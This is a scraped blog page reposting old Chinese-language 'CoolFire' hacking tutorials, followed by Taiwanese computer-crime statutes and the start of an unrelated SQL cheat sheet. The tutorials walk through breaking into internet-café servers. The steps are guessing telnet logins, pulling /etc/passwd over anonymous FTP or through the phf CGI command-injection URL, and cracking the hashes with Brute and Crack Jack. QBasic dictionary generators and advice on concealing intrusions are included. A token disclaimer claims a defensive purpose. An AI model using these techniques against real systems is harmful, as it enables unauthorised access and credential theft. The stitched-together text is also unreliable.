sendmail.st NETWORKING gateways bootptab exports ftpusers host.conf hosts hosts.allow hosts.deny hosts.equiv inetd.conf named.boot networks nntpserver protocols resolv.conf rpc ftpaccess hosts.lpd ftpconversions snooptab msgs ftpgroups slip.login slip.hosts yp.conf.example X11 lilo.conf sendmail.cf fstab fastboot mtab syslog.pid klogd.pid shutdownpid localtime passwd.old ioctl.save psdevtab ftp.banner ftp.deny issue.net motd.bak securetty.old 226 Transfer complete. (取回該檔案) ftp> get passwd 200 PORT command successful. 150 Opening BINARY mode data connection for passwd (4081 bytes). 226 Transfer complete. 4081 bytes received in 2.5 seconds (1.6 Kbytes/s) (盡速離開) ftp> bye 221 Goodbye. 好了! 有了 /etc/passwd 之後一切都好辦了, 趕緊將你的寶貝收藏 PaSs2DiC 拿出來吧 !! 快點跑一下, 讓它自動產生字典檔案: C:\hack>pass2dic PaSs2DiC V0.2 (C)1996 By FETAG Software Development Co. R.O.C. TAIWAN. This tool will: [1] Load PASSWD file and convert it to only username text file [2] Write the file to a dictionary file you choise for target Your Source PASSWD File Name: passwd Your Target Dictionary Name: dic.cfe PaSs2DiC Author: James Lin E-Mail: fetag@stsvr.showtower.com.tw FETAG Software Development Co: http://www.showtower.com.tw/~fetag C:\hack> (這樣就好了 ! 自動產生的檔案會放在 dic.cfe 這個檔案中, 咱們跑一下 Brute Force 看看!) C:\hack>fbrute passwd @dic.cfe BRUTE!, Unix Brute Force Hacking Routine. v2.0 Copyright (C) 1990, Prometheus. DOS-fastcrypt made available by sir hackalot. 闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡 Attempts/Hits: 5184/9 Taking list input from dic.cfe Beginning search of passwd for password: xxx Match for password xxxxxx found! Username: xxxxxx Match for password xxxxx found! Username: xxxxx Match for password xxx found! Username: xxx Match for password xxxxxx found! Username: xxxxxx Match for password xxxxxx found! Username: xxxxxx Match for password coffee found! Username: coffee Match for password xxxxxxx found! Username: xxxxxxx Match for password xxx found! Username: xxx Match for password xxxx found! Username: xxxx Done. C:\hack> 看! 除了 coffee 外還是有許多人使用與 ID 相同的字作為密碼, 實在是....@#$%^...&* 因某些關係 所以其它部份要被 "馬賽克" 起來, 請各位讀者見量! **** 再談密碼 **** 看了以上的破解示範, 就可以 解到許多人還是對於 "密碼" 這東西不是很有 "密碼" 的觀念, 人就是 那麼的懶, 隨便設定一個好記的, 但是這種密碼確是最不安全的, 上次我們談到如何用 QBasic 來設計 一個自動產生密碼的小程式, 相信對許多人有很大的幫助, 底下我們再來淺顯的介紹一下字母密碼的 產生方法, 相信對於你在 Hack 某站會有更大的幫助. 事情的開始是有一位網友 mail 給我, 問我字典檔要如何寫程式來 "自動擴大", 而讓我有了寫這一段的 想法, 現在我就針對這位網友的問題作一個更詳細的說明 (因已簡短回信答覆), 並且寫出來讓大家 解一下, 當然我們的示範還是使用 QBasic, 因為這是最容易找到的程式了, 而且語法大家也可能會比較 熟悉一點, 如果我使用 VB 或 C 來寫, 可能有些人只會拿去用, 而不會去修改或者寫個好一點的出來! 先說明一下原理好了: 我們所要作的程式是一個自動產生字典檔的程式, 所以我們要 解字的字母排 列到底有哪些方法可循?? 我們先舉幾個簡單的單字出來比較看看: [1] apple [2] guest [3] james [4] superman [5] password OK! 來看看! 如果你有一點英文的概念的話應該會知道母音及子音吧 ! 我們首先這樣說明: 母音在英文 上有 : A E I O U 這五個, 所有的英文單字都會有這些母音 (有些沒有的可能是專有名詞或縮寫), 也有可 能是雙母音的字, 如: au, ai, ea, ei, ia, ie, ou, oe, ui, ua... 等, 再來就是比較每個字的開頭, 有可能是母音, 也有可能是子音, 但是子音之後通常接的是母音字母, 但是也有例外, 如: student 是兩個子音再接一個母 音字母, 所以接下來依照常用字將這些子音找出來, 我想了一下大概有: br, bl, cl, dg, dr, fl, gr, kn, ph, st, sp, wh .... 等幾種(其它請自行統計), 然後是結尾部份, 通常結尾部分有下列幾種: e; est; ord; ard; ls; es; s... 等好多好多, 我們稍為思考一下就知道要如何寫出這樣的程式出來了 !! 我大略寫一個簡單的, 其它大家 自行發揮, 如果有人學語言學的, 請幫忙弄一份常用組合表出來, 可能會更有幫助吧 !! 底下就是該程式片段, 執行後會產生 MyDic.Txt 檔, 大小為: 22,096 Bytes 共有 3120 個字的字典!! --------------- MakeDic.BAS Start Here --------------------------------------------------------------------------------------- DIM FirstWord$(20) DIM MotherWord$(13) DIM LastWord$(12) DATA "br", "bl", "cl", "dg", "dr", "fl", "gr", "kn", "ph", "st", "sp", "s", "t", "p", "k" , "f", "m", "n", "b","k" DATA "a", "e", "i", "o", "u", "ai", "ei", "ea", "io", "ou", "oi", "au", "eo" DATA "st", "ord", "ard", "e", "es", "le", "ng", "st", "ing", "n", "b", "s" FOR I = 1 TO 20 READ FirstWord$(I) PRINT FirstWord$(I) NEXT I FOR I = 1 TO 13 READ MotherWord$(I) NEXT I FOR I = 1 TO 12 READ LastWord$(I) NEXT I OPEN "MyDic.txt" FOR OUTPUT AS #1 FOR I = 1 TO 20 FOR J = 1 TO 13 FOR K = 1 TO 12 PRINT #1, FirstWord$(I) + MotherWord$(J) + LastWord$(K) NEXT K NEXT J NEXT I CLOSE : END --------------- Cut Here, End of MakeDic.BAS -------------------------------------------------------------------------------- 當然這只是小部份的組合, 相信你可以作出一個更大的字典檔出來, 如: 子音+母音+子音+母音+子音, 作 出來的字典檔會很嚇人喔 !! 這一個部份就講到這裡了 ! 如果你有很棒的字典產生程式, 寫好了請 Mail 一 份給我喔 !! 如果可以的話請說明是否可以公佈在我的 W3 上讓其它人下載 !! 還是你只是要給我 ?! 希望每次講到密碼的問題後, 大家可以將這些密碼的產生方法與自己的密碼對照看看, 如果有相同的請 趕緊將自己的密碼換掉, 我講得口沫橫飛, 都沒有人要聽嗎 ??? 咖啡業者...... ISP 們.... 教教你們的使用者吧..... 唉~~~~ --------------------------------------------------------------------------------

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

這不是一個教學文件, 只是告訴你該如何破解系統, 好讓你能夠將自己的系統作安全的保護, 如果
你能夠將這份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦, 我是 CoolFire, 寫
這篇文章的目的是要讓大家明白電腦安全的重要性, 並不是教人 Crack Password 若有人因此文件
導致惡意入侵別人的電腦或網路, 本人概不負責 !!
話說上次 CoolFire 講到許多的 Net Coffee 店, 安全性之差實在是沒話說, 但是過了這麼久也不
見有幾家改進, 可能是想讓自己的電腦被別人玩弄在股掌之間吧, 但可不是每個人都像 CoolFire
這樣溫和, 如果遇到的是比較狠一點的角色, 那你的 Net Coffee 可能要有一兩天只賣 Coffee 而
沒辦法再 Net 下去了!!
繼 CoolHC#1 推出後, 有許多人是否已經躍躍愈試了呢 ?? 這次咱們不談新的花招, 用用之前所講
的再來探險一番, 當然, 這一次我照往例還是不會使用真正的 Domain Name 來作教學, 但是課程
中的所有內容絕對屬實, 當然本次攻擊的對象還是.... Net Coffee Shop....
**談一下 Crack Jack 猜猜密碼
許多人從上一次介紹 Crack Jack 之後就應該已經領教過它的功力了, 但是有幾點需要說明的,
有些人使用 Jack 來幫你尋找 password, 我就當你已經抓到了沒有 shadow 的 /etc/passwd,
但是為甚麼使用 Jack 還是找不到呢?? 我想你應該要換個正點一點的字典檔了, 因為 Jack 還
是根據你所提供的字典檔在尋找, 如果你提供的字典本身就沒有這些字, 那當然連一個小小帳號
的密碼你都別想猜到了. 數一下你所使用的字典檔中有多少字 ??? 我用的字典檔有十九萬多個
字, 你的呢? 是不是小巫見大巫呀 ?? 那麼就趕快充實一下字典檔再重新尋找吧 !!
許多人的密碼都有一定的法則, 我自己寫了 PaSs2DiC 就是將 UserName 由 passwd檔轉成字典檔
的工具, 這是對一些喜歡使用 UserName 當作 Password 的人最好的方式, 但是也曾經好運的找到
別人的密碼, 真不曉得"甲"是不是暗戀"乙"才用"乙"的 ID 作為密碼的 ??? 你可以很簡單的使用
Qbasic 來製作 "序數" 密碼, 或日期密碼, 底下簡單的作一個 0101 (一月一日) 到 1231 的密碼
檔出來:
------------Cut Here MakeDate.BAS -------------------
Open "Dates" for output as #1
for I=1 to 12
for J=1 to 31
I1$=rtrim$(ltrim$str$(I)))
J1$=rtrim$(ltrim$str$(J)))
if len(I1$)=1 then I1$="0"+I1$
if len(J1$)=1 then J1$="0"+J1$
Out$=I1$+J1$
print #1,Out$
next I
next J
close
------------ Cut Here End MakeDate.BAS ----------------
這支小程式將會寫一個 "DATES" 的檔案, 裡面就是你要的字典, 當然啦, 這只是包含月跟日 !!
如果你要猜的密碼是含年份的, 你可能要再增加一些程式碼, 再 Run 一次試試看了, 不過這是一
個好的開始不是嗎 ??
**如何保護自己的密碼
談了這麼多的密碼猜法, 當然要談一下如何保護自己的密碼不被破解, 請遵守以下的原則: [1]不
用生日作為密碼(太容易猜了啦) [2]不用序數作為密碼(除非你的序數無限大) [3]不用身份證字號
作為密碼(LetMeIn! 裡有猜身份證字號的功能耶) [4]不用在字典中查得到的字作為密碼.

那麼依照上面的幾點說法, 甚麼樣子的密碼最不容易猜, 自己也最好記呢?? 答案是: 用一句有意
義的話來作為自己的密碼, 例如: NoOneCanCrackIt 就是一個很難猜的密碼類型, 基於這個密碼猜
法的原則, 你的密碼是不是要作些更新, 或是大小寫要作一些對調 ?? 如果你的密碼是 coolfire,
建議你最好能改成 CoolFire 或 coolfires (加複數 "s"), 這樣被猜中的機率就小了很多. 如果
你是一個 Hacker, 你的密碼也被人猜中的話... 那...#%%^^^&@
**正式的話題

這次的話題當然還是 Crack, 相信許多人已經看過 CoolHC#1 了, 當然眼尖的人可能也已經 D/L
System Holes 試過了, 你有成功的例子嗎 ?? 如果沒有, 這份 CoolHC#2 可能就是你的強心針,
因為這次談的正是 System Holes #1 成功的案例.
Step 1. 連線到 "蕃薯籐" 找 "網路咖啡" 找到好多家網路咖啡的 WWW 網址, 一一連上去試試看
在 System Holes #1 中的方法可不可行.
Step 2. 若可行則會傳回 /etc/passwd 資訊, 存檔後迅速 Logout, 使用 Crack Jack 解讀!!
[[實例探討]]

System Holes #1 中所介紹的 WWW 入侵法是這樣子的:
http://www.somewhere.com/cgi-bin/nph-test-cgi?* 後再
http://www.somewhere.com/cgi-bin/phf?Qalias=x%0aless%/20/etc/passwd
[1] 用 WWW Browser 連到 yournet.net
[2] Location 輸入 --> "www.yournet.net/cgi-bin/nph-test-cgi?*"
[3] 接著如果出來一份像 Report 的畫面的話, 接著輸入 /cgi-bin/phf?Qalias=x%0aless%20/etc/passwd
[4] 發生了甚麼事?? etc/passwd 在你的瀏覽器中 "顯示" 出來了 !! 快點 Save 吧 !!
這個方法所用的是系統 "檢索" 的漏洞, 不提供這個功能, 或是伺服器檢索類型不同的機器則不
會接受這樣的指令, 當然也就逃過我們這次的模擬演練啦 !! 但是.... 相信我, 你一定會找到一
家脫線的網路咖啡, 並沒有像我們一樣每天閱讀 Mail List 的信, 對系統安全一點研究也沒有的
人不在少數. http://hacker.welcome.com 就是這樣的一個 Net Coffee Shop... 呵.... 快來試
試吧 !!
當 CoolFire 抓到 /etc/passwd 後, 立刻存檔, 也馬上斷線, 並且拿出 UltraEdit 來瞧一下使用
者的資訊, 當然這個小 passwd 對 Crack Jack 來說, 實在是不夠看, 沒幾分鐘就在我的 486 機
器上顯示出來幾個以 UserName 作為 Password 的資訊 (歸功於 PaSs2DiC 及 CrackJack 的功勞)
不過當我試著找尋 root 的密碼時, 一想到我那將近 20 萬字的字典檔, 就想到可能花費的時間一
定相當的驚人, 於是就以 Jack 的 Option 設定只尋找 root 那一行, ... (過了良久)... 果不然
又是一個笨 root. 用了 "非常" 容易猜的密碼... <--- This is JackAss... 呵!! Got It!
如果你所使用的機器速度不是頂快, 你最好能夠到快一點的機器上使用 Crack Jack, 不然你也可
以將字典檔切割成幾個小檔案, 然後再分別在幾台機器上跑, 我目前使用的配備是 486DX4-130
32MB RAM, 3.2GB HDD, 近 20 萬字的字典檔, 如果在分析較大的 passwd 檔時我會將字典檔切割
為四至五個小檔 (看有多少台機器可跑), 然後在週末下班前在公司的幾台機器上分別執行 Crack
Jack, 等到禮拜一上班時就等著接收成果了! 當然如果你只有一台機器, passwd 檔又很大的話,
由於 Crack Jack 無法於 Windoz 95 下使用, 你可能只能犧升時間或機器來跑了! 再沒有辦法的
話, 亦可使用單機多工, 多開幾個 DOS Box 來跑 Brute, 也許也是一個可行的辦法!
**後語
有許多人在使用 Crack Jack 的時候有許多問題, 不過看了 CoolHC#1 應該都解決了吧 ?? 最近大
家問的比較多的是 UpYours 3.0, 雖然已經改進了 Install 的問題, 不過大家的問題還是都出在
Winsck.ocx 上面, 有人說裝了 MSICP Beta 會好 ?? 但也有實例裝了也還不能 Run 的, 在此建議
大家不要再玩 MailBomb 了, 雖然我喜歡收集這種東西, 但還是少亂炸為妙, 已經證實有許多常用
的 MailBomb 沒有辦法 Fake IP 了 !! 所以... 如果 UpYours 3.0 裝不起來的人就試試 KaBoom!
V3.0 吧 ! 雖然沒有辦法 Fake IP (選錯 Mail Server 的話), 但是也是一個不錯的 AnonyMailer
如果要發匿名信, 現在首頁上有可以幫你發信的 Mailer, 會安全一點.
如果你仍舊對 UpYours 3.0 不死心, 就試試 ResSvr32.exe (Under Windows/system directory),
看看能不能將 WinSck.ocx 裝上了... 記得先 UnReg 再 Reg...
在此建議大家可以多訂閱一些 "系統安全" 討論的 Mail List 或多參考一些已經被找出來的系統
漏洞, 因為有些人對這些方面並不是很重視, 所以這些資訊也就顯得格外的重要了, 如果能夠多
參考一些資訊, 在你入侵的時候會有很大的幫助, 當然, 如果你能作出一份列表出來, 放在手邊
參考的話, 就可以快速的; 安全的入侵了!! 下一次所談的是 SendMail 的 Bug 實例, 在這中間
當然照往例會先出一份 System Holes #2 來作為資料. 如果有興趣的人在 SH#2 出來的時候可以
先研究看看. 下次見! Merry X'Mas..... & Happy New Year.......

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

這不是一個教學文件, 只是告訴你該如何破解系統, 好讓你能夠將自己的系統作安全
的保護, 如果你能夠將這份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的
電腦, 我是 CoolFire, 寫這篇文章的目的是要讓大家明白電腦安全的重要性, 並不
是教人 Crack Password 若有人因此文件導致惡意入侵別人的電腦或網路, 本人概不
負責 !!
#1 甚麼是 Hacking ?
就是入侵電腦! 有甚麼好解釋的! 大部份有關介紹 Hacker 的書籍或小說及文件
等都有清楚的介紹, 沉迷於電腦的人... 破壞... 唉! 一大堆怪解釋就是了, 最
好不要成為一個 "駭客", 我... 不是!
#2 為甚麼要 Hack ?
我們只是為了要 解更多關於系統的技術, 入侵它,瞭解它是如何運作的, 試試
它的安全性, 然後學著去使用它, 讀取系統中有關操作的說明, 學習它的各項操
作 !! 為了安全性而作革命!
#3 Hack 守則
1. 不惡意破壞任何的系統, 這樣作只會給你帶來麻煩.
惡意破壞它人的軟體將導致法律刑責, 如果你只是使用電腦, 那僅為非法使
用!! 注意: 千萬不要破壞別人的軟體或資料 !!
2. 不修改任何的系統檔, 如果你是為了要進入系統而修改它, 請在答到目的後
將它改回原狀.
3. 不要輕易的將你要 Hack 的站台告訴你不信任的朋友.
4. 不要在 bbs 上談論你 Hack 的任何事情.
5. 在 Post 文章的時候不要使用真名.
6. 正在入侵的時候, 不要隨意離開你的電腦.
7. 不要侵入或破壞政府機關的主機.
8. 不在電話中談論你 Hack 的任何事情.
9. 將你的筆記放在安全的地方.
10. 想要成為 Hacker 就要真正的 Hacking, 讀遍所有有關係統安全或系統漏洞
的文件 (英文快點學好)!
11. 已侵入電腦中的帳號不得清除或修改.
12. 不得修改系統檔案, 如果為了隱藏自己的侵入而作的修改則不在此限, 但仍須
維持原來系統的安全性, 不得因得到系統的控制權而將門戶大開 !!
13. 不將你已破解的帳號分享與你的朋友.
#4 破解之道
1. 進入主機中
2. 得到 /etc/passwd
3. 得到系統帳號
4. 得到最高權限

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
How 1.
進入主機有好幾種方式, 可以經由 Telnet (Port 23) 或 SendMail (Port 25)
或 FTP 或 WWW (Port 80) 的方式進入, 一台主機雖然只有一個位址, 但是它可能
同時進行多項服務, 所以如果你只是要 "進入" 該主機, 這些 Port 都是很好的進
行方向. 當然還有很多 Port, 但是 DayTime 的 Port 你能拿它作甚麼??? 我不知
道, 你知道嗎?!
底下的示範並不是像寫出來的那麼容易, 只不過是要讓你 解如何進入, 當然其
中還有很多問題, 如打錯指令...... 等等的毛病... 沒有出現在課堂上, 但是我為了
面子.... 一定要刪掉這些不堪入目的東西嘛...
示範進入主機的方法: (By CoolFire)

(首先要先連上某一台你已經有帳號的 Telnet 主機, 當然最好是假的, 也就是 Crack
過的主機, 然後利用它來 Crack 別的主機, 才不會被別人以逆流法查出你的所在)
Digital UNIX (ms.hinet.net) (ttypa)
login: FakeName
Password:
Last login: Mon Dec 2 03:24:00 from 255.255.0.0
(我用的是 ms.hinet.net ... 當然是假的羅, 都已經經過修改了啦 !!
沒有這一台主機啦 !! 別怕 ! 別怕 ! 以下的主機名稱都是假的名
稱, 請同學們要記得 !!)
Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996
Digital UNIX V1.2C Worksystem Software (Rev. 248)
Digital UNIX Chinese Support V1.2C (rev. 3)
(嗯... 進來了 ! 開始攻擊吧 ! 本次的目標是......)
ms.hinet.net> telnet www.fuckyou.hinet.net (Telnet 試試看....)
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
(沒關係, 再來 !!)
cool login: hinet
Password:
Login incorrect
cool login:
(都沒猜對, 這邊用的是 猜 的方法, 今天運氣好像不好)
telnet> close
Connection closed.
(重來, 換個 Port 試試看 !!)
ms.hinet.net> telnet 111.222.255.255 80
Trying 111.222.255.255...
Connected to 111.222.255.255.
Escape character is '^]'.



Error


Error 400


Invalid request "" (unknown method)


CERN-HTTPD 3.0A



Connection closed by foreign host.
(哇哩 !! 連密碼都沒得輸入, 真是..... 再來 !! 要有恆心 !!)
(換 FTP Port 試試)
ms.hinet.net> ftp 111.222.255.255
Connected to 111.222.255.255.
220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
Name (111.222.255.255:FakeName): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user! This is an experimental FTP server. If have any
230-unusual problems, please report them via e-mail to root@cool.com
230-If you do have problems, please try using a dash (-) as the first character
230-of your password -- this will turn off the continuation messages that may
230-be confusing your ftp client.
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
(哇 ! 可以用 anonymous 進來耶!! password 部份輸入 aaa@ 就好了 !
不要留下足跡喔!!)
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
etc
pub
usr
bin
lib
incoming
welcome.msg
226 Transfer complete.
(嗯嗯... 太好了 ! 進來了 !! 下一個目標是.....)
ftp> cd etc
250 CWD command successful.
ftp> get passwd (抓回來 !!)
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (566 bytes).
226 Transfer complete.
566 bytes received in 0.56 seconds (0.93 Kbytes/s)
(喔... 這麼容易嗎??)
ftp> !cat passwd (看看 !!!)
root::0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/var/spool/news:
uucp:*:10:14:uucp:/var/spool/uucp:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
ftp:*:404:1::/home/ftp:/bin/bash
(哇哩... 是 Shadow 的... 真是出師不利.... )
ftp> bye
221 Goodbye.
(不信邪.... 還是老話, 要有恆心....)
(FTP 不行, 再 Telnet 看看 !!)
ms.hinet.net> telnet www.fuckyou.hinet.net
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
(又猜錯 !!)
cool login: fuckyou
Password:
Last login: Mon Dec 2 09:20:07 from 205.11.122.12
Linux 1.2.13.
Some programming languages manage to absorb change but withstand
progress.
cool:~$
(哇哈哈 !! 哪個笨 root, 用 system name 作 username 連
password 也是 system name.... 總算... 沒白玩...)
cool:~$ system
bash: system: command not found
(嗯... 這個 user 的權限好像不大....)
cool:~$ ls
cool:~$ pwd
/home/fuckyou
cool:~$ cd /
cool:/$ ls
Public/ cdrom/ lib/ mnt/ tmp/ www/
README dev/ linux* proc/ usr/
bin/ etc/ local/ root/ var/
boot/ home/ lost+found/ sbin/
cool:/$ cd etc
telnet> quit
(好想睡呀 !! 不玩了 !! 下節課再開始....)
Connection closed.
ms.hinet.net> exit
(走了 !! 下節課在見啦 !! 今天就上到這裡 ! 老師要先下班了 !!)
(有學生說: 騙人! 還沒有破解呀!! 胡說 ! 不是已經進來了嗎 ???
看看這節課上的是甚麼??? ---->進入主機 !! 嗯.....)
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
How 2.

上節課抓回來一個 "亂七八糟" 的 /etc/passwd, 你以為我的真那麼笨嗎?? guest 所
抓回來的能是甚麼好東西?? 所以這一節課繼續上次的攻擊行動. 上節課我們已
經 "猜" 到了一個不是 guest 的 username 及 password. 今天就以它來進入主機瞧瞧 !!
Digital UNIX (ms.hinet.net) (ttypa)
login: FakeName
Password:
Last login: Mon Dec 2 03:24:00 from 255.255.0.0
Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996
Digital UNIX V1.2C Worksystem Software (Rev. 248)
Digital UNIX Chinese Support V1.2C (rev. 3)
(嗯... 進來了 ! 開始攻擊吧 ! 本次的目標是.....呵...)
ms.hinet.net> telnet cool.fuckyou.hinet.net (Telnet 試試看.... 昨天的位址, 有作筆記吧!)
stsvr.showtower.com.tw> telnet cool.fuckyou.hinet.net
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
cool login: fuckyou
Password: (一樣輸入 fuckyou)
Last login: Mon Dec 1 12:44:10 from ms.hinet.net
Linux 1.2.13.
cool:~$ cd /etc
cool:/etc$ ls
DIR_COLORS ftpusers localtime resolv.conf
HOSTNAME gateways magic rpc
NETWORKING group mail.rc securetty
NNTP_INEWS_DOMAIN host.conf motd sendmail.cf
X11@ hosts messages/ sendmail.st
XF86Config hosts.allow mtab services
at.deny hosts.deny mtools shells
bootptab hosts.equiv named.boot shutdownp
csh.cshrc hosts.lpd networks snoopy/
csh.login httpd.conf nntpserver slip.hosts
exports inetd.conf passwd snooptab
fastboot inittab passwd.OLD syslog.conf
fdprm issue passwd.old syslog.pid
fstab ld.so.cache printcap ttys
ftpaccess ld.so.conf profile utmp@
(找尋目標..... 太亂了 ! 懶得找, 再來 ....)
cool:/etc$ ls pa*
passwd passwd.OLD passwd.old
(果然在)
cool:/etc$ more passwd
(看看有沒有 Shadow...)
root:acqQkJ2LoYp:0:0:root:/root:/bin/bash
john:234ab56:9999:13:John Smith:/home/john:/bin/john
(正點 ! 一點都沒有防備 !!)
cool:/etc$ exit
logout
(走了!.... 換 FTP 上場 !!)
Connection closed by foreign host.
ms.hinet.net> ftp www.fuckyou.hinet.net
Connected to cool.fuckyou.hinet.net.
220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
Name (www.fuckyou.hinet.net:66126): fuckyou
331 Password required for fuckyou.
Password:
230 User fuckyou logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /etc
250 CWD command successful.
ftp> get passwd
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (350 bytes).
226 Transfer complete.
350 bytes received in 0.68 seconds (1.9 Kbytes/s)
ftp> !cat passwd
root:acqQkJ2LoYp:0:0:root:/root:/bin/bash
john:234ab56:9999:13:John Smith:/home/john:/bin/john
(看看 ! 呵 ! 假不了 !!......)
ftp> bye
221 Goodbye.
ms.hinet.net> exit
(閃人羅 !! 下課 !!.... 喔慢點, 還有事要說明......)
passwd 的 Shadow 就是把 passwd 放在 shadow 檔中, 而你原先在第一節課
所看到的這個格式的 passwd 並不是真正的 passwd....
root::0:0:root:/root:/bin/bash
因為密碼的部份沒有東西.... 所以拿了也沒有用 !! 但這一節課所拿到的東西呢,
像是這樣, 有幾點需要說明的, 就是它究竟代表著甚麼???
john:234ab56:9999:13:John Smith:/home/john:/bin/sh
它以 ":" 分成幾個欄位, 各欄位對照如下:
User Name: john
Password:234ab56
User No: 9999
Group No: 13
Real Name: John Smith
Home Dir: /home/john
Shell: /bin/sh
了吧 ! 了吧 ! 保留著你千辛萬苦所拿到的 passwd, 咱們第三節
課再來告訴各位如何使用 Crack Jack 把 passwd 解碼.... 呵呵...
zzZZzZzz...
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

Crack Jack V1.4 中文使用說明 (By CoolFire 12-1-1996)
嗯... 該到第三課了 !! 累了的同學先去喝口水吧!
這一節課咱們來說說 Crack Jack ! 這可是個解讀 /etc/passwd 的好工具喔, 不要告訴我你習慣用
Brute, 拿 Brute 跟 Crack Jack 的速度比比看, 包準你馬上投向 Crack Jack 1.4 的懷抱, 但請
先確定你所使用的是 Crack Jack 1.4, 你可以在 CoolFire 的 Hacker&Mailer Page 中拿到這個版
本的 Crack Jack ! 這才是真正有用的版本, 速度... 對... 就是這點別人都比不上 ! 但還是要講
講它的缺點... 就是只能在 DOS 跟 OS2 中跑, 如果在 Windoz 95 上開個 DOS Mode 跑, 它可是連
理都不會理你的 !
OK! 現在切入正題 ! etc/passwd 拿到手了吧 !! 開始羅 !! 使用 Crack Jack 1.4 前所需要的東
西有這些 [1] Crack Jack 1.4 (廢話...$%^&@@) [2] /etc/passwd 檔案, 你可以在 Unix 系統中
的 /etc/ 目錄中找到 passwd [3] 字典檔 (哪裡找, 自己敲... 呵 ClayMore 中有一份 DIC.TXT
是有一千多個字的字典, 但比起我的字典可就小巫見大巫了, LetMeIn! 1.0 裡面也有, 聽 James
說 2.0 Release 的時候會有更棒的字典檔含入, 期待吧!).... 使用 Crack Jack 1.4 前需先確
定你所使用的機器是 386 含以上 CPU 的 ! 然後最好有充足的記憶體 !!
開始 Jack 時只要敲入 JACK 即可, 它會問你 PW Name... 輸入你的 passwd 檔名, Dictionary
Name 輸入你的字典檔名, Jack 就會開始找了 ! 找到時會告訴你, 也會在 JACK.POT 中寫入它所
找到的密碼 !! 但... 有點怪的格式! 如果找到的是具 root 權限的密碼, Jack 會告訴你 This is
JackAss... 嗯...說髒話了 !! 因為使用 Jack 佔用的時間實在太多, 如果你中途想要停掉時只要
按下 Ctrl-C 即可, 別以為你前功盡棄了! 因為 Jack 有個 Restore 的功能, 中斷時會自動存檔
為 RESTORE, 下次要繼續這次的尋找只要輸入 Jack -Restore:RESTORE 即可 !! 當然你也可以為
你的 Restore 重新命名 ! Jack 也會找得到的 ... 如 Ren restore restore.HNT 之後要再尋找
的時後就 Jack -Restore:RESTORE.HNT 即可... Jack 會很自動的 Restore 前次所尋找的字串...
繼續幫你找下去....
字典檔哪裡找: 我的不給你! 可以找別的 Brute Force 之類的程式, 有些裡面會附, 或是找找其它
的 Hacker 地下站看看有沒有, 自己編一個, 或找個英漢字典軟體將字典的部份解出來, 可能要有
一點資料欄位及寫程式的基礎.
[這一節課沒有範例] 成功的案例: 找到過某家網路咖啡店的 root 權限密碼 ! Jack 好正點呀 !!!
所花的時間: 20 分鐘左右... 但也有找了一兩天也找不到的..... 嗚... 駭客們! 加油吧 !!

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

第 三六 章 妨害電腦使用罪
第 358 條 無故輸入他人帳號密碼、破解使用電腦之保護措施或利用電腦系統之漏洞
,而入侵他人之電腦或其相關設備者,處三年以下有期徒刑、拘役或科或
併科十萬元以下罰金。

第 359 條 無故取得、刪除或變更他人電腦或其相關設備之電磁紀錄,致生損害於公
眾或他人者,處五年以下有期徒刑、拘役或科或併科二十萬元以下罰金。

第 360 條 無故以電腦程式或其他電磁方式干擾他人電腦或其相關設備,致生損害於
公眾或他人者,處三年以下有期徒刑、拘役或科或併科十萬元以下罰金。

第 361 條 對於公務機關之電腦或其相關設備犯前三條之罪者,加重其刑至二分之一


第 362 條 製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害
於公眾或他人者,處五年以下有期徒刑、拘役或科或併科二十萬元以下罰
金。

第 363 條 第三百五十八條至第三百六十條之罪,須告訴乃論。

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

SQL語句先前寫的時候,很容易把一些特殊的用法忘記,我特此整理了一下SQL語句操作。
一、基礎

1、說明:創建數據庫
CREATE DATABASE database-name
2、說明:刪除數據庫
drop database dbname
3、說明:備份sql server
--- 創建 備份數據的 device
USE master
EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'
--- 開始 備份
BACKUP DATABASE pubs TO testBack
4、說明:創建新表
